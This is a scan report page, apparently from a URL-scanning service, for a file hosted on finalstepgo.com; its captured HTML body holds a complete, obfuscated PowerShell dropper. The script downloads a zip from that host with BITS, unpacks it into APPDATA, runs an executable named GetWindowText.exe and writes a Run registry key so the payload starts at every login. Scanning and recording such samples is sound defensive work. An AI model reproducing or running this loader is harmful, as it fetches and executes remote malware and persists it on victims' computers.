- 扫描 ID:
- 0e259dce-a029-454b-b5df-476311c7007d已完成
- 提交的 URL:
- https://finalstepgo.com/uploads/il33.txt
- 报告完成时间:
链接 · 找到 0 个
从页面中识别出的传出链接
JavaScript 变量 · 找到 3 个
在页面窗口对象上加载的全局 JavaScript 变量是在函数外部声明的变量,可以从当前范围内的代码中的任何位置访问
名称 | 类型 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
控制台日志消息 · 找到 1 条
记录到 Web 控制台的消息
类型 | 类别 | 记录 |
---|---|---|
error | network |
|
HTML
页面的原始 HTML 正文
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">$j967rvVm='https://finalstepgo.com/uploads/il33.zip'; $3CpHuONo=$env:APPDATA+'\3gbpRyEA'; $v2d2cLn9=$env:APPDATA+'\PXXlqn14.zip'; $IDdhkCCQ=$3CpHuONo+'\GetWindowText.exe'; if (-not (teSt-PAtH $3CpHuONo)) { new-iteM -Path $3CpHuONo -ItemType Directory }; sTARt-bITSTrAnSfer -Source $j967rvVm -Destination $v2d2cLn9; EXpAnd-arChIvE -Path $v2d2cLn9 -DestinationPath $3CpHuONo -Force; reMOvE-IteM $v2d2cLn9; sTArt-PROCESs $IDdhkCCQ; nEw-itEMpROPeRtY -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'v3AzdGAH' -Value $IDdhkCCQ -PropertyType 'String';</pre></body></html>